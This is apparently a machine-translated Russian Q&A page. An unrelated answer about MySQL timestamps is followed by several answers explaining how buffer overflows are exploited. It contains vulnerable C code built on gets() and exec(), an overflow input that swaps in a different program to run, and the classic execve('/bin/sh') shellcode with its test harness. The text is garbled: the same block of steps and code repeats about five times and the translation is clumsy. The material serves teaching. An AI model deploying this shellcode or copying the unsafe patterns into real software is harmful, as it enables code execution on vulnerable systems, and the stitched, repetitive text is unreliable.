Метки времени в MySQL обычно используются для отслеживания изменений в записях и часто обновляются каждый раз, когда запись изменяется. Если Вы хотите сохранить определенное значение, необходимо использовать поле даты и времени.
, Если Вы подразумевали, что хотите решить между использованием метки времени UNIX или собственного поля даты и времени MySQL, пойдите с собственным форматом. Можно сделать вычисления в MySQL тот путь ("SELECT DATE_ADD(my_datetime, INTERVAL 1 DAY)")
, и просто изменить формат значения к метке времени UNIX ("SELECT UNIX_TIMESTAMP(my_datetime)")
при запросах записи, если Вы хотите воздействовать на него с PHP.
Во-первых, вам нужна программа, которая будет запускать другие программы. Программа, выполняющая OS exec
в той или иной форме. Это сильно зависит от ОС и языка.
Во-вторых, ваша программа, запускающая другие программы, должна считывать данные из некоторого внешнего источника в буфер.
В-третьих, вы должны затем проверить работающую программу - как она размещена в памяти компилятором - чтобы увидеть, как входной буфер и другие переменные используются для шага 1 (запуск других программ) существуют.
В-четвертых, вы должны придумать ввод, который фактически переполнит буфер и установит другие переменные.
Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
Часть 3 требует некоторого анализа того, как выглядят буфер
и program_to_run
, но вы обнаружите что это, вероятно, просто
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Часть 4, ваш ввод, тогда он должен быть
1234567890123456notepad.exe\x00
Таким образом, он заполнит буфер
и перезапишет program_to_run
.
В-четвертых, вы должны придумать вход это фактически переполнит буфер и установит другие переменные.
Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
Часть 3 требует некоторого анализа того, как выглядят буфер
и program_to_run
, но вы обнаружите что это, вероятно, просто
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Часть 4, ваш ввод, тогда он должен быть
1234567890123456notepad.exe\x00
Таким образом, он заполнит буфер
и перезапишет program_to_run
.
В-четвертых, вы должны придумать вход это фактически переполнит буфер и установит другие переменные.
Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
Часть 3 требует некоторого анализа того, как выглядят буфер
и program_to_run
, но вы обнаружите что это, вероятно, просто
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Часть 4, ваш ввод, тогда он должен быть
1234567890123456notepad.exe\x00
Таким образом, он заполнит буфер
и перезапишет program_to_run
.
Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
Часть 3 требует некоторого анализа того, как выглядят буфер
и program_to_run
, но вы обнаружите что это, вероятно, просто
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Часть 4, ваш ввод, тогда он должен быть
1234567890123456notepad.exe\x00
Таким образом, он заполнит буфер
и перезапишет program_to_run
.
Итак. Часть 1 и 2 представляет собой программу, которая выглядит примерно так на C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
Часть 3 требует некоторого анализа того, как выглядят буфер
и program_to_run
, но вы обнаружите что это, вероятно, просто
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
Часть 4, ваш ввод, тогда он должен быть
1234567890123456notepad.exe\x00
Таким образом, он заполнит буфер
и перезапишет program_to_run
.
"Разбить стек ради развлечения и Прибыль »- лучший HowTo / FAQ по этой теме.
См .: http://insecure.org/stf/smashstack.html
Вот фрагмент фактического шелл-кода:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
Есть две отдельные вещи:
Код, который переполняет буфер, это легко сделать и, скорее всего, закончится ошибкой сегментации. Вот что было показано: sprintf (buffer, "01234567890123456789");
Средство помещения перезаписанного кода памяти, который выполняется операционной системой. Это сложнее, чем просто переполнение буфера, и связано с тем, как выполняются программы. Обычно они берут следующую инструкцию для выполнения из стека, если вам удастся поместить в следующее значение стека действительную инструкцию путем перезаписи памяти без создания повреждения указателя выполнения (или любого другого повреждения), вы можете создать эксплойт . Обычно это делается путем помещения инструкции перехода в следующее значение стека, которое будет считано, в раздел памяти, содержащий код. Вот почему маркировка разделов памяти как неисполняемых может помочь против такого рода эксплойтов.
ну, я не знаю, как запустить notpad.exe, но чтобы перезаписать этот буфер, просто выполните:
sprintf(buffer, "somestringlongerthan16");
gets(buffer);
Невозможно правильно использовать get, так как он не запрашивает размер буфера.
scanf("%s", buffer);
Scanf будет читать ввод строки до тех пор, пока он не достигнет пробела, если пользователь наберет больше чем 16 символов, произойдет переполнение буфера.
Переполнение буфера может использоваться для того, чтобы заставить код делать что-то иное, чем предполагалось, - это записывать данные вне выделенного буфера, перезаписывая что-то еще.
Перезаписанные данные обычно представляют собой код в другой функции, но простой пример - перезапись переменной рядом с буфером:
char buffer[16];
string myapp = "appmine.exe";
void execMe(string s) {
for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
Sys.Execute(myapp, buffer);
}
Если вы вызовете функцию с большим количеством данных, чем может вместить буфер, она перезапишет имя файла:
execMe("0123456789012345notepad");
Smashing The Stack For Fun And Profit Фрака содержит достаточно объяснений, чтобы вы могли делать то, о чем просите.
Простой пример см. Также здесь:
Защита от атак с переполнением буфера: пример атаки